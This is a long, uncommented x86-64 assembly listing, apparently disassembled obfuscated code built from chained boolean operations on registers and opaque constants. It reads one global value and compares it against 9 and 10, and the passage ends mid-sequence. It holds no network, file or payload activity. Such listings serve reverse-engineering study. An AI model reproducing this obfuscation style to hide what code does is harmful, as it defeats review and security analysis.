mov eax, ecx
xor eax, 0x68914050
xor ecx, 0x14200125
and ecx, 0x1468bdad
and eax, 0xeb974252
or eax, ecx
mov ecx, eax
xor ecx, 0x1408280c
xor eax, 0xa3940052
and eax, 0xa3f495f3
and ecx, 0x5c0b6a0c
or ecx, eax
mov edx, ecx
xor edx, 0xa3f495f3
and edx, ecx
mov ecx, r10d
and ecx, 0x34ba7c1d
mov eax, r8d
and eax, 0xcb4583e2
or eax, ecx
xor eax, 0x974ee9ee
or eax, r10d
mov ebp, eax
not ebp
mov ecx, edx
not ecx
and ebp, ecx
or ecx, eax
mov ebx, ecx
not ebx
and eax, edx
or eax, ebp
mov edx, eax
not edx
mov ebp, ecx
and ebp, 0x38c1b146
and ebx, 0xc73e4eb9
or ebx, ebp
or ecx, edx
and edx, 0x38c1b146
and eax, 0xc73e4eb9
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov edx, ecx
not edx
mov ebp, edx
or ebp, 0x24a5e887
mov eax, ebp
not eax
or ecx, 0x9b420570
and ecx, 0xbfc3ad76
and edx, 0x244081
or edx, ecx
and ebp, 0xbfc3ad76
and eax, 0x40181208
or eax, ebp
xor eax, edx
mov ecx, eax
not ecx
and ecx, 0x3a415a31
and eax, 0xc5bea5ce
or eax, ecx
mov ecx, eax
xor ecx, 0x9c000300
mov r9d, r10d
and r9d, r8d
xor eax, 0x651820
and ecx, 0xde8ac39a
and eax, 0x21753c65
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x99a3aa38
and eax, 0x665c55c7
or eax, ecx
mov ecx, eax
xor ecx, 0x8326
xor eax, 0x20104808
and eax, 0xa8de5c89
and ecx, 0x5721a376
or ecx, eax
mov eax, ecx
xor eax, 0x10000172
and eax, 0x301801fa
xor ecx, 0x6739a28c
or ecx, eax
mov eax, ecx
not eax
and eax, 0x7702af06
and ecx, 0x88fd50f9
or ecx, eax
mov r11d, ecx
xor r11d, 0x88fd50f9
mov edx, r10d
and edx, 0xcfe7fe05
mov eax, r8d
xor eax, 0xcfe7fe05
and eax, r8d
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov edx, r10d
and edx, 0x9455e596
mov ebp, r8d
and ebp, 0x6baa1a69
or ebp, edx
mov ebx, ebp
xor ebx, 0xb200861
mov esi, eax
not esi
mov edx, esi
and edx, 0xf0df131c
and eax, 0xf20ece3
or eax, edx
xor ebp, 0x90550114
and ebp, 0xf0df131c
and ebx, 0xf20ece3
or ebx, ebp
xor ebx, eax
not ebx
or ebx, esi
mov esi, ebx
not esi
xor ecx, 0x7702af06
mov eax, ecx
and eax, 0x18103931
mov edx, r11d
and edx, 0xe7efc6ce
or edx, eax
mov eax, edx
xor eax, 0x862e440c
xor edx, 0x18103931
mov ebp, edx
and ebp, 0x69c18ac2
and eax, 0x963e753d
or eax, ebp
mov ebp, esi
and ebp, 0x69c18ac2
mov edi, ebx
and edi, 0x963e753d
or edi, ebp
xor edi, eax
or edx, esi
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0xb02fdd41
and edx, 0x4fd022be
or edx, eax
mov ebp, edx
xor ebp, 0x4fd022be
mov edi, ecx
and edi, 0x47981826
and r11d, 0xb867e7d9
or r11d, edi
xor r11d, esi
xor r11d, 0x47981826
and r11d, esi
and ebx, 0x28bbdce2
and esi, 0xd744231d
or esi, ebx
xor esi, 0x28bbdce2
or esi, ecx
mov ecx, esi
not ecx
mov edi, r11d
not edi
mov ebx, edi
and ebx, 0x3911cf17
and r11d, 0xc6ee30e8
or r11d, ebx
or edi, esi
and esi, 0x3911cf17
and ecx, 0xc6ee30e8
or ecx, esi
xor ecx, r11d
not edi
or edi, ecx
xor edx, 0xb02fdd41
and edx, edi
mov ecx, edi
not ecx
mov eax, ebp
xor eax, ecx
and eax, ebp
and ecx, ebp
or ecx, edx
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0xf03226d7
mov ebp, ecx
and ebp, 0xfcdd928
or ebp, eax
mov eax, ebp
xor eax, 0x80128
xor ebp, 0xc0222604
and ebp, 0xcfe7fe04
and eax, 0x301801fb
or eax, ebp
mov ebp, eax
xor ebp, 0xcfe7fe04
and ebp, eax
and edx, 0x84a81ff1
and ecx, 0x7b57e00e
or ecx, edx
mov edx, ecx
xor edx, 0x7b57e00e
xor ecx, 0x80081520
and ecx, 0xb84a1524
mov eax, edx
and eax, 0x47b5eadb
or eax, ecx
xor eax, 0x885214df
and edx, 0x301801fb
or edx, eax
mov ebx, edx
not ebx
mov eax, ebp
xor eax, edx
and eax, ebp
mov ecx, ebp
not ecx
and ecx, 0xc637f394
and ebp, 0x39c80c6b
or ebp, ecx
and edx, 0xc637f394
and ebx, 0x39c80c6b
or ebx, edx
xor ebx, ebp
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov edi, ebx
not edi
mov ecx, edi
and ecx, ebx
mov eax, ecx
not eax
mov esi, ebx
and esi, 0xb48f1594
mov ebp, ebx
mov edx, edi
and edx, 0xa09b9dab
and ebx, 0x5f646254
or ebx, edx
xor ebx, 0x4be48ec5
or ebx, edi
and edi, 0x4b70ea6b
or edi, esi
or ebp, eax
and eax, 0xb48f1594
and ecx, 0x4b70ea6b
or ecx, eax
xor ecx, edi
not ebp
or ebp, ecx
mov eax, ebp
not eax
and eax, 0xa79f8fd8
and ebp, 0x58607027
or ebp, eax
mov eax, ebp
xor eax, 0x58607027
xor ebp, 0x230b0640
and ebp, 0x2b0b1667
mov ecx, eax
and ecx, 0xd4f4e998
or ecx, ebp
xor ecx, 0xc0740509
and eax, 0xeb7f136e
or eax, ecx
mov ecx, eax
not ecx
mov edx, ebx
not edx
and edx, eax
or eax, ebx
not eax
and ebx, ecx
or ebx, edx
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x820e1322
and ebx, 0x6971004c
or ebx, ecx
mov ecx, ebx
xor ecx, 0x21500004
xor ebx, 0x828c7d82
or eax, 0xeb7f136e
mov r15d, eax
not r15d
and ebx, 0xcaad7dca
and ecx, 0x21520224
or ecx, ebx
and eax, 0xcaad7dca
and r15d, 0x14008011
or r15d, eax
xor r15d, ecx
mov eax, r10d
and eax, r9d
xor r9d, r10d
or r9d, eax
mov eax, r9d
not eax
and eax, 0x6e88ab30
and r9d, 0x917754cf
or r9d, eax
mov ecx, r9d
xor ecx, 0x6e88ab30
and ecx, r9d
mov eax, r10d
and eax, 0x917754cf
and r8d, 0x6e88ab30
or r8d, eax
xor r10d, r8d
and r10d, r8d
mov r8d, ecx
not r8d
mov r9d, r10d
not r9d
mov edx, ecx
xor edx, 0xb0bbb91f
and edx, r8d
mov edi, ecx
and edi, 0x4f4446e0
mov esi, r10d
xor esi, 0xb0bbb91f
and esi, r9d
mov ebx, r9d
or ebx, 0xb0bbb91f
mov eax, ebx
not eax
mov ebp, edx
and ebp, edi
xor edi, edx
or edi, ebp
mov ebp, esi
not ebp
mov edx, ebp
and edx, 0x6750d5d0
and esi, 0x98af2a2f
or esi, edx
or ebp, ebx
and ebx, 0x6750d5d0
and eax, 0x8040220
or eax, ebx
xor eax, esi
not ebp
or ebp, eax
mov eax, edi
not eax
and eax, ebp
not ebp
and ebp, edi
or ebp, eax
mov eax, ecx
and eax, 0x1045b243
and r8d, 0xefba4dbc
or r8d, eax
or ecx, r10d
and r10d, 0x1045b243
and r9d, 0xefba4dbc
or r9d, r10d
xor r9d, r8d
not ecx
or ecx, r9d
mov edx, ecx
not edx
mov eax, ebp
not eax
mov ebx, eax
and ebx, 0xb93e1fb6
and ebp, 0x46c1e049
or ebp, ebx
or eax, ecx
and ecx, 0xb93e1fb6
and edx, 0x46c1e049
or edx, ecx
xor edx, ebp
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xbf4a6cc8
and eax, 0x40b59337
or eax, ecx
mov ebp, eax
xor ebp, 0x808110
xor eax, 0x2000000
or edx, 0x6e88ab30
mov r13d, edx
not r13d
or eax, 0x91010481
and eax, 0xd30106a1
and ebp, 0x2c88a910
or ebp, eax
and edx, 0xd30106a1
and r13d, 0x76504e
or r13d, edx
xor r13d, ebp
mov ecx, r15d
not ecx
mov edx, ecx
and edx, 0x70ec3d75
mov r9d, r15d
and r9d, 0x8f13c28a
or r9d, edx
mov edx, r9d
xor edx, 0xa02020a
xor r9d, 0x70ec3d75
mov eax, ecx
and eax, r15d
mov ebx, eax
not ebx
mov edi, r9d
and edi, 0x85b5e5a1
and edx, 0x7a4a1a5e
or edx, edi
or r9d, ebx
and ebx, 0x85b5e5a1
and eax, 0x7a4a1a5e
or eax, ebx
xor eax, edx
not r9d
or r9d, eax
mov r11d, r13d
not r11d
mov eax, r11d
and eax, 0xd240d825
mov edx, r13d
and edx, 0x8142480
or edx, eax
xor edx, 0x8142480
mov r14d, r13d
xor r14d, 0xda54fca5
and r14d, r13d
mov eax, edx
and eax, r14d
xor r14d, edx
or r14d, eax
mov eax, r14d
not eax
and eax, 0x25ab035a
and r14d, 0xda54fca5
or r14d, eax
mov r8d, r9d
not r8d
mov eax, r8d
and eax, 0xea1b8628
mov edx, r9d
and edx, 0x15e479d7
or edx, eax
xor edx, 0x76943487
mov ebp, edx
xor ebp, r8d
and ebp, edx
and ecx, 0x63704d50
xor r15d, 0x9c8fb2af
or r15d, ecx
mov eax, r15d
not eax
and eax, 0xef65383e
and r15d, 0x109ac7c1
or r15d, eax
mov r12d, r15d
xor r12d, 0x88281
xor r15d, 0xef65383e
mov edx, r14d
not edx
mov eax, edx
and eax, 0xe9144a5b
mov edi, r14d
and edi, 0x16ebb5a4
or edi, eax
mov eax, edi
xor eax, 0x148bb0a4
and eax, 0x9c8fb2af
xor edi, 0x8a64070b
or edi, eax
mov eax, edi
not eax
and eax, 0x5ebda245
and edi, 0xa1425dba
or edi, eax
mov esi, edi
xor esi, 0xa1425dba
mov r10d, edi
xor r10d, 0x5ebda245
and r11d, 0xa2f19691
and r13d, 0x5d0e696e
or r13d, r11d
mov ecx, r13d
xor ecx, 0x41004940
and ecx, 0x63704d50
xor r13d, 0x3e7e243e
or r13d, ecx
mov ecx, ebp
xor ecx, r15d
and ecx, ebp
mov ebx, ebp
not ebx
and ebx, 0x98f37d54
and ebp, 0x670c82ab
or ebp, ebx
mov r11d, r13d
not r11d
and r15d, 0x98f37d54
and r12d, 0x670c82ab
or r12d, r15d
xor r12d, ebp
mov ebx, ecx
and ebx, r12d
xor r12d, ecx
or r12d, ebx
mov ebx, r10d
and ebx, 0x9d803fdd
xor edi, 0x3cc26267
and edi, esi
mov ebp, r13d
and ebp, 0x9d803fdd
mov ecx, ebx
and ecx, edi
xor edi, ebx
mov ebx, r13d
xor ebx, 0x627fc022
and ebx, r11d
or edi, ecx
mov ecx, ebp
and ecx, ebx
xor ebx, ebp
or ebx, ecx
mov ecx, edi
not ecx
and ecx, 0xec4d4685
and edi, 0x13b2b97a
or edi, ecx
mov ecx, ebx
not ecx
and ecx, 0xec4d4685
and ebx, 0x13b2b97a
or ebx, ecx
xor ebx, edi
mov ecx, esi
and ecx, 0xe6f6df0
and r10d, 0xf190920f
or r10d, ecx
or esi, r11d
and r11d, 0xe6f6df0
and r13d, 0xf190920f
or r13d, r11d
xor r13d, r10d
mov r10d, dword [0x1400986a8]
not esi
or esi, r13d
mov ecx, esi
not ecx
and ecx, 0x3b1c74e6
and esi, 0xc4e38b19
or esi, ecx
xor esi, 0xc4e38b19
mov ecx, ebx
and ecx, esi
xor esi, ebx
or esi, ecx
mov ecx, r12d
not ecx
and ecx, 0x79495554
mov ebp, r12d
and ebp, 0x86b6aaab
or ebp, ecx
not esi
xor ebp, 0x79495554
or ebp, esi
mov ecx, ebp
not ecx
xor esi, r12d
not esi
and esi, r12d
mov eax, ebp
and eax, 0x6af1fa5c
and ecx, 0x950e05a3
or ecx, eax
mov eax, esi
not eax
or ebp, eax
and eax, 0x6af1fa5c
and esi, 0x950e05a3
or esi, eax
xor esi, ecx
not ebp
or ebp, esi
and r14d, r8d
or r8d, edx
not r8d
and edx, r9d
or edx, r14d
mov eax, r8d
and eax, edx
xor edx, r8d
or edx, eax
mov eax, edx
not eax
and eax, 0x6cc7ff26
and edx, 0x933800d9
or edx, eax
mov eax, edx
xor eax, 0x933800d9
xor edx, 0x6cc7ff26
mov ebx, ebp
not ebx
and eax, ebx
or ebx, edx
mov ecx, ebx
not ecx
and edx, ebp
or edx, eax
mov eax, edx
not eax
mov ebp, ebx
and ebp, 0xe1fb66ef
and ecx, 0x1e049910
or ecx, ebp
or ebx, eax
and eax, 0xe1fb66ef
and edx, 0x1e049910
or edx, eax
xor edx, ecx
not ebx
or ebx, edx
mov esi, ebx
not esi
mov edx, esi
and edx, 0xffa3d4a3
mov ebp, ebx
and ebp, 0x5c2b5c
or ebp, edx
mov edx, ebp
xor edx, 0x502b0c
xor ebp, 0xffa3d4a3
mov ecx, esi
and ecx, ebx
mov eax, ecx
not eax
mov edi, ebp
and edi, 0xa62f54f3
and edx, 0x59d0ab0c
or edx, edi
or ebp, eax
and eax, 0xa62f54f3
and ecx, 0x59d0ab0c
or ecx, eax
xor ecx, edx
not ebp
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x32becc00
xor ebp, 0xcd4133ff
or ebp, ecx
mov edi, ebp
not edi
and esi, 0x7514a350
and ebx, 0x8aeb5caf
or ebx, esi
mov edx, ebx
xor edx, 0x8aeb5caf
xor ebx, 0x1104a010
and ebx, 0x9b6ca497
mov ecx, edx
and ecx, 0x64935b68
or ecx, ebx
xor ecx, 0x562d9768
and edx, 0xcd4133ff
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x1357f09a
and edx, 0xeca80f65
or edx, ecx
mov ecx, edx
xor ecx, 0x84800520
and ebp, 0xce710cf0
mov eax, edi
and eax, 0x318ef30f
or eax, ebp
mov ebp, eax
xor ebp, 0x318ef30f
xor edx, 0x1357f09a
xor eax, 0xa50966a5
and eax, ebp
and edi, 0x948795aa
mov ebx, edx
and ebx, 0x6b786a55
and ecx, 0x948795aa
or ecx, ebx
mov ebx, eax
and ebx, edi
xor edi, eax
or edi, ebx
mov eax, edi
not eax
and eax, ecx
not ecx
and ecx, edi
or ecx, eax
mov eax, ebp
and eax, edx
xor edx, ebp
or edx, eax
not edx
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov ecx, edx
not ecx
mov ebp, ecx
or ebp, 0xf4dd7b23
mov eax, ebp
not eax
or edx, 0x1028490
and edx, 0xc1438593
and ecx, 0x349c7a20
or ecx, edx
and ebp, 0xc1438593
and eax, 0xa20004c
or eax, ebp
xor eax, ecx
mov ecx, eax
not ecx
and ecx, 0xc663b723
and eax, 0x399c48dc
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x6082385c
mov edx, eax
and edx, 0x10100603
or edx, ecx
xor edx, 0x10100603
and eax, 0x8f6dc1a0
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x8f6dc1a0
and eax, 0x70923e5f
or eax, ecx
mov edx, eax
not edx
and edx, 0x3c518c57
mov ecx, eax
and ecx, 0xc3ae73a8
or ecx, edx
mov edx, ecx
xor edx, 0xc3ae73a8
mov ebp, ecx
xor ebp, 0x430eaa9b
and ebp, edx
and eax, 0x80a0d933
mov ebx, ebp
and ebx, eax
xor eax, ebp
or eax, ebx
mov ebp, eax
not ebp
and ebp, 0x7f5f26cc
and eax, 0x80a0d933
or eax, ebp
xor ecx, 0x3c518c57
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf152485c
and ecx, 0xeadb7a3
or ecx, edx
xor ecx, 0xeadb7a3
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x2b051c5d
and eax, 0xd4fae3a2
or eax, ecx
xor eax, 0x2b051c5d
setne r8b
sete r9b
cmp r10d, 0xa
setl cl
cmp r10d, 9
setg r10b
mov edx, r10d
xor dl, cl
mov eax, edx
xor al, 1
mov r11d, edx
and r11b, cl
mov ebx, r10d
and bl, al
or bl, r11b
xor cl, bl
and cl, bl
or dl, r10b
xor dl, 1
xor al, r10b
and al, r10b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor cl, 1
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov r13d, eax
xor r13b, 1
or r13b, al
xor r13b, 1
mov ecx, eax
xor cl, r13b
or r13b, al
xor r13b, 1
or r13b, cl
xor r13b, 1
mov eax, ecx
and al, r13b
xor r13b, cl
or r13b, al
mov eax, r9d
xor al, r8b
mov r10d, eax
xor r10b, 1
mov ebx, eax
xor bl, r10b
and bl, al
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
mov r11d, ecx
and r11b, dl
xor dl, cl
or dl, r11b
xor dl, 1
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and dl, r8b
and cl, r9b
or cl, dl
or r10b, r9b
xor r10b, 1
xor al, r8b
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, ecx
and cl, dl
xor dl, 1
xor bl, 1
and bl, dl
or cl, bl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov r8d, ecx
xor r8b, 1
mov eax, r8d
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov r10d, eax
xor r10b, 1
and r10b, al
mov eax, r10d
xor al, r8b
and al, r10b
mov ebx, r10d
xor bl, 1
and bl, cl
and r10b, r8b
or r10b, bl
xor al, 1
xor r10b, 1
mov ecx, eax
xor cl, r10b
or r10b, al
xor r10b, 1
or r10b, cl
mov edx, r10d
xor dl, 1
mov r9d, r13d
xor r9b, 1
mov eax, r9d
and al, r13b
mov ecx, r9d
xor cl, al
xor al, 1
or al, r13b
xor al, 1
or al, cl
mov ecx, eax
mov byte [rsp + 0x24], al
mov esi, r13d
or sil, r9b
mov edi, esi
xor dil, 1
mov ebx, edi
and bl, sil
xor bl, 1
mov eax, ebx
xor al, sil
or bl, sil
xor bl, 1
or bl, al
xor bl, cl
mov eax, ecx
xor al, dil
or dil, cl
xor dil, 1
or dil, al
xor dil, 1
mov eax, ebx
and al, dil
xor dil, bl
or dil, al
mov eax, edi
xor al, 1
and dil, al
mov ebx, eax
and bl, dil
xor dil, al
or dil, bl
mov eax, edi
xor al, 1
and dil, al
mov ebx, eax
and bl, dil
xor dil, al
or dil, bl
mov eax, edi
xor al, 1
or al, r13b
xor dil, r9b
xor dil, 1
mov ebx, eax
xor bl, dil
or dil, al
xor dil, 1
or dil, bl
mov r11d, edi
xor r11b, 1
mov ecx, edx
and cl, r10b
mov r14d, ecx
xor r14b, 1
mov ebx, edx
xor bl, r14b
or r14b, dl
xor r14b, 1
or r14b, bl
mov byte [rsp + 0x30], r14b
xor r14b, 1
mov r12d, edx
or r12b, r10b
mov r15d, r14d
mov ebp, r12d
xor bpl, 1
and bpl, r14b
xor r14b, r12b
and r15b, r12b
or r15b, r14b
xor r14b, 1
mov eax, r14d
xor al, r15b
or r14b, r15b
xor r14b, 1
or r14b, al
mov eax, r10d
xor dl, r10b
mov byte [rsp + 0x2c], dl
mov edx, r10d
mov byte [rsp + 0x34], cl
and dl, cl
xor al, cl
or al, dl
xor al, r14b
mov edx, eax
xor dl, 1
and r14b, dl
mov r15d, r14d
xor r15b, 1
xor r14b, al
or r15b, dl
xor r15b, 1
or r15b, r14b
mov r8d, r11d
or r8b, dil
mov r10d, r8d
xor r10b, 1
mov ebx, r11d
or bl, r8b
xor bl, 1
mov r14d, r10d
and r14b, r11b
and r8b, dil
or r8b, r14b
mov r14d, ebx
and r14b, r8b
xor r8b, bl
or r8b, r14b
mov edx, r8d
xor dl, 1
mov r14d, r8d
and r14b, dl
mov ecx, edx
and cl, r14b
mov eax, edx
xor al, r14b
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, eax
and bl, cl
mov r9d, ebx
and r9b, al
xor bl, al
or bl, r9b
or cl, al
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
xor r11b, dil
or r11b, r10b
mov ebx, ecx
and bl, al
mov r9d, ecx
xor r9b, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, r9b
xor bl, 1
or al, cl
mov edi, ebx
or dil, al
xor al, bl
xor dil, 1
mov r9d, edi
and r9b, al
xor dil, al
mov eax, r11d
xor al, 1
or dil, r9b
mov r9d, eax
xor r9b, bl
and bl, al
and al, r11b
mov r10d, eax
and r10b, r11b
xor al, r11b
or al, r10b
xor dil, 1
mov ecx, edi
xor cl, al
xor cl, 1
and cl, al
or dil, al
xor cl, 1
mov eax, ecx
xor al, dil
or cl, dil
xor cl, 1
or cl, al
or bl, r9b
xor bl, 1
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
mov eax, ecx
xor al, 1
mov r9d, ecx
and r9b, al
mov r10d, r9d
and r10b, cl
xor r9b, cl
mov ecx, ebx
xor cl, 1
and cl, bl
or r9b, r10b
xor cl, 1
mov r10d, ecx
xor r10b, bl
or cl, bl
xor cl, 1
or cl, r10b
xor cl, r9b
mov r9d, eax
and r9b, bl
xor al, bl
or al, r9b
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov r9d, eax
xor r9b, 1
mov ebx, r9d
and bl, al
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
mov edi, r15d
xor dil, 1
xor bl, 1
or bl, cl
mov r11d, ebx
xor r11b, 1
or r11b, bl
mov ebx, r11d
or bl, r9b
xor r11b, r9b
mov eax, ebx
xor al, r11b
xor r11b, 1
xor al, 1
or r11b, bl
xor r11b, 1
or r11b, al
mov eax, r14d
xor al, 1
mov ebx, r14d
xor bl, r8b
or al, dl
xor al, 1
or al, bl
xor al, dl
xor dl, r8b
or dl, r14b
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov r10d, edx
xor r10b, 1
mov r8d, edx
or r8b, r10b
mov eax, r10d
and al, dl
mov r9d, eax
and r9b, r10b
xor al, r10b
or al, r9b
mov ebx, r8d
xor r8b, dl
mov r9d, r11d
xor r9b, 1
xor bl, 1
xor al, bl
or bl, r10b
xor bl, 1
or bl, r8b
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
and al, dl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ebx, r11d
xor bl, dl
mov r8d, ebx
xor r8b, r11b
and r8b, bl
mov ecx, r11d
and cl, r9b
and al, dl
xor r11b, cl
xor cl, 1
or cl, r9b
xor cl, 1
or cl, r11b
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
and al, cl
or al, dl
mov edx, r8d
xor dl, 1
mov r11d, eax
xor r11b, 1
and al, dl
or dl, r11b
and r11b, r8b
or r11b, al
xor r11b, 1
mov eax, edx
xor al, r11b
or r11b, dl
xor r11b, 1
or r11b, al
mov edx, r15d
and dl, dil
mov eax, edx
xor al, 1
mov r8d, eax
or r8b, dil
mov ebx, edx
and bl, al
mov r9d, ebx
and r9b, dl
xor bl, dl
or bl, r9b
mov r9d, edx
and r9b, dil
xor dl, dil
mov r10d, r8d
xor r10b, 1
or dl, r9b
mov ecx, ebx
xor cl, 1
and cl, dl
xor dl, 1
and dl, bl
or dl, cl
mov ecx, eax
and cl, r15b
xor al, r15b
or al, cl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov edi, edx
xor dil, 1
mov ebx, r8d
xor bl, dil
xor bl, 1
or bl, r8b
mov r9d, ebx
xor r9b, 1
mov ecx, r8d
and cl, r10b
xor r8b, cl
xor cl, 1
or cl, r10b
mov eax, edx
and al, dil
xor cl, 1
or cl, r8b
xor dl, al
xor al, 1
or al, dil
xor al, 1
or al, dl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
and al, cl
or al, dl
mov ecx, eax
xor cl, 1
or al, r9b
xor r9b, cl
xor r9b, 1
xor cl, bl
xor al, 1
or al, cl
xor al, 1
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov r8d, r11d
xor r8b, 1
mov edi, r8d
and dil, r11b
mov ecx, r8d
and cl, dil
mov r9d, r11d
or r9b, r8b
xor r8b, dil
or cl, r8b
mov ebx, ecx
xor bl, 1
mov r10d, r9d
xor r10b, 1
and r10b, bl
or bl, r9b
and cl, r9b
or cl, r10b
mov r9d, ebx
xor r9b, cl
xor cl, 1
xor r9b, 1
or cl, bl
xor cl, 1
or cl, r9b
mov ebx, ecx
xor bl, 1
and bl, cl
xor bl, 1
mov r9d, ecx
xor r9b, bl
or bl, cl
xor bl, 1
or bl, r9b
mov r9d, ebx
xor r9b, 1
mov edx, r9d
and dl, bl
mov r10d, r9d
and r10b, dl
xor dl, r9b
or dl, r10b
mov ecx, edx
xor cl, 1
xor dl, bl
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dil, 1
or dil, r11b
xor dil, 1
or dil, r8b
mov r8d, edi
xor r8b, 1
mov ecx, r8d
and cl, dil
mov ebx, ecx
xor bl, 1
xor cl, dil
or bl, r8b
xor bl, 1
or bl, cl
mov r8d, ebx
xor r8b, 1
mov r9d, eax
xor r9b, 1
or al, r9b
xor r9b, al
and r9b, al
mov eax, edx
mov r10d, ebx
and bl, dl
mov ecx, edx
xor cl, 1
or al, cl
or r10b, r8b
xor r10b, 1
mov edx, eax
or dl, cl
xor al, cl
xor al, 1
mov r11d, edx
xor r11b, al
or al, dl
xor al, 1
or al, r11b
mov r11d, ecx
xor r11b, r8b
and r11b, cl
and cl, r8b
xor r8b, r10b
mov edx, r8d
xor dl, 1
and dl, r10b
mov r10d, edx
and r10b, r8b
xor dl, r8b
or dl, r10b
xor dl, al
mov eax, edx
xor al, 1
or cl, bl
mov ebx, r11d
and bl, cl
xor cl, r11b
or cl, bl
mov ebx, ecx
xor bl, 1
and bl, al
or al, cl
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov r8d, r9d
xor r8b, 1
mov r11d, r9d
and r11b, r8b
mov ebx, r11d
xor bl, r8b
and bl, r11b
mov eax, r11d
xor al, 1
and al, r9b
and r11b, r8b
or r11b, al
mov eax, ebx
and al, r11b
xor r11b, bl
or r11b, al
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
mov r8d, eax
and r8b, bl
xor al, bl
or bl, cl
mov r9d, ebx
xor r9b, 1
or al, r8b
mov r10d, eax
xor r10b, 1
and r10b, r9b
movzx r15d, byte [rsp + 0x24]
mov r8d, r15d
xor r8b, 1
and al, bl
or al, r10b
mov r9d, ecx
and r9b, bl
xor bl, cl
mov r10d, r11d
xor r10b, 1
or bl, r9b
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
mov edx, r11d
or dl, r10b
xor cl, 1
xor al, 1
or al, cl
mov ecx, edx
xor cl, 1
and cl, r11b
mov ebx, r10d
xor bl, dl
and bl, r10b
and dl, r10b
or dl, cl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
xor al, 1
mov edi, eax
xor dil, dl
xor dil, 1
and dil, dl
or al, dl
mov ecx, eax
xor cl, dil
xor dil, 1
xor cl, 1
or dil, al
xor dil, 1
or dil, cl
mov eax, r13d
or al, sil
xor al, 1
xor sil, r13b
mov ecx, eax
and cl, sil
xor sil, al
or sil, cl
movzx ecx, byte [rsp + 0x30]
mov eax, ecx
xor al, r12b
and al, cl
and r12b, cl
or r12b, bpl
xor al, 1
xor r12b, 1
mov ecx, eax
xor cl, r12b
or r12b, al
xor r12b, 1
or r12b, cl
mov ebp, esi
xor bpl, 1
mov r9d, esi
and r9b, bpl
xor r9b, 1
mov eax, r9d
xor al, sil
or r9b, sil
xor r9b, 1
or r9b, al
mov r14d, r9d
xor r14b, 1
mov eax, r8d
mov ecx, r15d
xor al, r15b
or r8b, r15b
xor r8b, 1
or r8b, al
mov eax, r8d
xor al, 1
mov r10d, r12d
xor r10b, 1
mov ecx, r12d
and cl, r10b
mov edx, ecx
and dl, r10b
xor cl, r10b
or cl, dl
mov r15d, ecx
xor r15b, 1
and r15b, cl
xor r15b, 1
mov ebx, ecx
xor bl, r15b
or r15b, cl
xor r15b, 1
or r15b, bl
movzx r13d, byte [rsp + 0x2c]
or r13b, byte [rsp + 0x34]
mov ebx, r8d
and bl, al
xor r8b, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, r8b
mov ecx, r9d
or cl, r14b
mov r8d, ecx
xor r8b, 1
mov eax, ecx
and al, r8b
mov r11d, ecx
xor r11b, al
xor al, 1
or al, r8b
mov r8d, ebx
xor r8b, 1
xor al, 1
or al, r11b
mov r11d, eax
and r11b, r9b
xor al, 1
